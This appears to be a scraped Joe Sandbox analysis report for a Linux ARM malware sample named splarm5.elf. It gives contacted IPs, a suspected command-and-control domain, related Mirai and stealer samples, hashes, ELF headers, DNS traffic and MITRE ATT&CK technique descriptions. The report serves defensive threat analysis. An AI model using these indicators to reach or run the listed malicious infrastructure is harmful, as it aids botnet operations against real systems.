138.165.254.73	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
141.3.197.140	unknown	Germany	34878	KITKarlsruheInstituteofTechnologyDE	false
26.168.131.110	unknown	United States	7922	COMCAST-7922US	false
91.18.54.45	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
219.175.196.150	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
124.86.164.184	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
5.143.7.91	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
80.116.231.161	unknown	Italy	3269	ASN-IBSNAZIT	false
28.113.206.54	unknown	United States	7922	COMCAST-7922US	false
5.194.128.221	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
164.175.106.137	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
206.142.224.109	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
176.88.213.42	unknown	Turkey	34984	TELLCOM-ASTR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
112.204.3.65	mips.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	nabppc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	mpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	m68k.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	mips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklsh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	mips.elf	Get hash	malicious	Unknown	Browse	112.207.14.59
	nabarm.elf	Get hash	malicious	Unknown	Browse	124.83.62.162
	jklarm.elf	Get hash	malicious	Unknown	Browse	122.3.163.100
	hoho.mips.elf	Get hash	malicious	Unknown	Browse	112.202.153.49
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	124.104.210.244
	sh4.elf	Get hash	malicious	Unknown	Browse	112.205.62.106
	x86.elf	Get hash	malicious	Unknown	Browse	112.205.14.220
	mpsl.elf	Get hash	malicious	Unknown	Browse	58.71.0.173
	HXobHcZZOF.exe	Get hash	malicious	Sality	Browse	112.206.99.29
	x86.elf	Get hash	malicious	Mirai	Browse	112.207.20.184
VOCUS-RETAIL-AUVocusRetailAU	nklarm5.elf	Get hash	malicious	Unknown	Browse	112.213.162.115
	jklppc.elf	Get hash	malicious	Unknown	Browse	116.244.6.162
	nklx86.elf	Get hash	malicious	Unknown	Browse	111.220.116.144
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	139.218.49.179
	kaizen.ppc.elf	Get hash	malicious	Mirai	Browse	203.134.53.228
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	122.148.16.123
	x86.elf	Get hash	malicious	Mirai	Browse	211.27.214.23
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	123.2.57.205
	sora.mips.elf	Get hash	malicious	Mirai	Browse	122.148.107.53
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	116.240.54.121
NOKIA-ASFI	jklppc.elf	Get hash	malicious	Unknown	Browse	138.124.15.19
	ReleaseActivator.exe	Get hash	malicious	RHADAMANTHYS	Browse	138.124.55.36
	Install.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	138.124.55.36
	KKveTTgaAAsecNNaaaa.sh4.elf	Get hash	malicious	Unknown	Browse	135.255.252.65
	New-inst-x64.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	138.124.55.36
	Launcher.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	138.124.55.36
	miori.mips.elf	Get hash	malicious	Unknown	Browse	135.245.211.148
	Arly.exe	Get hash	malicious	Discord Token Stealer, PRYSMAX STEALER, RHADAMANTHYS, Xmrig	Browse	138.124.55.36
	a.elf	Get hash	malicious	Unknown	Browse	138.125.168.103
	a.elf	Get hash	malicious	Unknown	Browse	138.126.16.10
IDNIC-IDCLOUDHOST-AS-IDPTCloudHostingIndonesiaID	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	103.15.226.235
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	103.15.226.235
	file.exe	Get hash	malicious	SystemBC	Browse	103.55.39.181
	https://url.us.m.mimecastprotect.com/s/Pyp8CZ6DjlFqVNlXhzfr25?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	103.146.203.15
	https://url.us.m.mimecastprotect.com/s/FY0hCPNp42s1rx35tzam0J?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	103.55.39.181
	SecuriteInfo.com.IL.Trojan.MSILZilla.30886.28966.14387.exe	Get hash	malicious	SmokeLoader, onlyLogger	Browse	103.55.39.107
	SecuriteInfo.com.Win32.PWSX-gen.15339.15901.exe	Get hash	malicious	Glupteba, SmokeLoader, Vidar, onlyLogger	Browse	103.55.39.107
	SecuriteInfo.com.W32.MSIL_Troj.CYF.gen.Eldorado.14198.23881.exe	Get hash	malicious	SmokeLoader, onlyLogger	Browse	103.55.39.107
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Vidar	Browse	103.55.39.107
	AGRUBU_0550.06092023.pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.236.201.28

Process:	/tmp/splarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1687683296354545
Encrypted:	false
SSDEEP:	3:FVEtIX9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXvVl/VVdf/FVLADsVHI1v/VVdf/X:uIgDF0/VWDFfXNl/VjmsVot/VOArB/VH
MD5:	5602E6C7363273EFD3EB8FF1B81FEAD8
SHA1:	6633EF1892C45A14B570588934FC1423E0A9288F
SHA-256:	5724CC70A1F16E475E5821FC2803A6D9A4E99D67A50A0273689F65DABD1ABA4B
SHA-512:	568A043D6C8E25AA575A4007784FCA50C180E99A84239718140CF35E592987DA6131C7B1697920E2747C7887006B94EC0C5EDE681F24D26249C9E639489F471C
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: splarm5.elf	Virustotal: Detection: 42%			Perma Link
Source: splarm5.elf	ReversingLabs: Detection: 38%

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.055549065524151
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm5.elf
File size:	62'396 bytes
MD5:	2466db93c0ac601919ffed87a80d5805
SHA1:	376b5feaa408798943d799bbdb538672b2735a90
SHA256:	28d277740be8bbd4c8ee2c98b7b30a2e831f33cba6c634078261c52bf7993763
SHA512:	d142c142308ce4512b406a669ce8b722932385c3a8c9f58a911da0114e27d26022046e53df3886c1d1eba1ff37cd53870235a67f8117df7c00825b1034301046
SSDEEP:	1536:A3MZd4HW0Pb5j38SgsF+zwOARvqBXPbbBR:A3MZmoSg+5OARCBXPb
TLSH:	1E53F986B892DA53C1D452BBFA5F81DD332223E8D2DF3207DD116F553A8AC1B0D6B641
File Content Preview:	.ELF...a..........(.........4...........4. ...(....................."..."...............................D...........Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61956
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xdf10	0x0	0x6	AX	16
.fini	PROGBITS	0x15fc0	0xdfc0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15fd4	0xdfd4	0xf4e	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1f1c0	0xf1c0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf1c0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xef22	0xef22	6.0951	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x1c0	0x1444	2.2965	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 20:17:22.952538013 CET	48113	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:22.975542068 CET	53	48113	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:34.225385904 CET	53861	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:34.243277073 CET	53	53861	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:34.244407892 CET	54950	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:34.261305094 CET	53	54950	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:34.262207985 CET	56519	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:34.288172960 CET	53	56519	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:34.289091110 CET	39791	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:34.314357996 CET	53	39791	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:34.315256119 CET	53450	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:17:34.338978052 CET	53	53450	152.53.15.127	192.168.2.13
Mar 19, 2025 20:17:45.959320068 CET	35725	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:17:46.055392027 CET	53	35725	168.235.111.72	192.168.2.13
Mar 19, 2025 20:17:57.659344912 CET	46774	53	192.168.2.13	51.158.108.203
Mar 19, 2025 20:17:57.678664923 CET	53	46774	51.158.108.203	192.168.2.13
Mar 19, 2025 20:18:09.236603022 CET	58257	53	192.168.2.13	81.169.136.222
Mar 19, 2025 20:18:09.266196966 CET	53	58257	81.169.136.222	192.168.2.13
Mar 19, 2025 20:18:20.838843107 CET	33349	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:18:20.856848955 CET	53	33349	202.61.197.122	192.168.2.13
Mar 19, 2025 20:18:20.858381033 CET	35550	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:18:20.875735044 CET	53	35550	202.61.197.122	192.168.2.13
Mar 19, 2025 20:18:20.876693010 CET	54072	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:18:20.895001888 CET	53	54072	202.61.197.122	192.168.2.13
Mar 19, 2025 20:18:20.896014929 CET	38840	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:18:20.914475918 CET	53	38840	202.61.197.122	192.168.2.13
Mar 19, 2025 20:18:20.915615082 CET	60314	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:18:20.937654018 CET	53	60314	202.61.197.122	192.168.2.13
Mar 19, 2025 20:18:32.515343904 CET	32878	53	192.168.2.13	152.53.15.127
Mar 19, 2025 20:18:32.532403946 CET	53	32878	152.53.15.127	192.168.2.13
Mar 19, 2025 20:18:43.778110027 CET	46841	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:43.813709974 CET	53	46841	185.181.61.24	192.168.2.13
Mar 19, 2025 20:18:43.814376116 CET	36149	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:43.849773884 CET	53	36149	185.181.61.24	192.168.2.13
Mar 19, 2025 20:18:43.850796938 CET	57341	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:43.886482954 CET	53	57341	185.181.61.24	192.168.2.13
Mar 19, 2025 20:18:43.887408018 CET	41715	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:43.922857046 CET	53	41715	185.181.61.24	192.168.2.13
Mar 19, 2025 20:18:43.923424959 CET	39068	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:43.958972931 CET	53	39068	185.181.61.24	192.168.2.13
Mar 19, 2025 20:18:55.588947058 CET	45202	53	192.168.2.13	185.181.61.24
Mar 19, 2025 20:18:55.626372099 CET	53	45202	185.181.61.24	192.168.2.13
Mar 19, 2025 20:19:07.253242016 CET	53169	53	192.168.2.13	202.61.197.122
Mar 19, 2025 20:19:07.272376060 CET	53	53169	202.61.197.122	192.168.2.13
Mar 19, 2025 20:19:18.842137098 CET	41312	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:19:18.929634094 CET	53	41312	168.235.111.72	192.168.2.13
Mar 19, 2025 20:19:18.931243896 CET	40814	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:19:19.018143892 CET	53	40814	168.235.111.72	192.168.2.13
Mar 19, 2025 20:19:19.019550085 CET	46285	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:19:19.112093925 CET	53	46285	168.235.111.72	192.168.2.13
Mar 19, 2025 20:19:19.113291979 CET	41007	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:19:19.205236912 CET	53	41007	168.235.111.72	192.168.2.13
Mar 19, 2025 20:19:19.206321001 CET	58759	53	192.168.2.13	168.235.111.72
Mar 19, 2025 20:19:19.299935102 CET	53	58759	168.235.111.72	192.168.2.13

Start time (UTC):	19:17:20
Start date (UTC):	19/03/2025
Path:	/tmp/splarm5.elf
Arguments:	/tmp/splarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:17:21
Start date (UTC):	19/03/2025
Path:	/tmp/splarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:17:22
Start date (UTC):	19/03/2025
Path:	/tmp/splarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1xsF3J (deleted)

/tmp/qemu-open.2sU8tN (deleted)

/tmp/qemu-open.2zgWeM (deleted)

/tmp/qemu-open.3TH2UJ (deleted)

/tmp/qemu-open.4qkSmL (deleted)

/tmp/qemu-open.4tfdvM (deleted)

/tmp/qemu-open.6ETknO (deleted)

/tmp/qemu-open.8N6CjN (deleted)

/tmp/qemu-open.8WMzON (deleted)

/tmp/qemu-open.9X6iYK (deleted)

/tmp/qemu-open.AMavyK (deleted)

/tmp/qemu-open.BDXbcN (deleted)

/tmp/qemu-open.Biym3N (deleted)

/tmp/qemu-open.CQi2DK (deleted)

/tmp/qemu-open.CZhTaL (deleted)

/tmp/qemu-open.Cs5pLM (deleted)

/tmp/qemu-open.E6zpbL (deleted)

/tmp/qemu-open.F40WoN (deleted)

/tmp/qemu-open.FsdBDN (deleted)

/tmp/qemu-open.Gik9VK (deleted)

/tmp/qemu-open.GrIsZM (deleted)

/tmp/qemu-open.Grn0ZL (deleted)

/tmp/qemu-open.I2WCZN (deleted)

/tmp/qemu-open.K9MoyK (deleted)

/tmp/qemu-open.Kr5JSK (deleted)

/tmp/qemu-open.MRbkTK (deleted)

/tmp/qemu-open.NCBxWL (deleted)

/tmp/qemu-open.OEju6N (deleted)

/tmp/qemu-open.ObxprO (deleted)

/tmp/qemu-open.PCPhYM (deleted)

/tmp/qemu-open.Pb4uKK (deleted)

/tmp/qemu-open.Pyg9eM (deleted)

/tmp/qemu-open.QNZJEL (deleted)

/tmp/qemu-open.Qb1EYL (deleted)

/tmp/qemu-open.SNCAcN (deleted)

Linux Analysis Report
splarm5.elf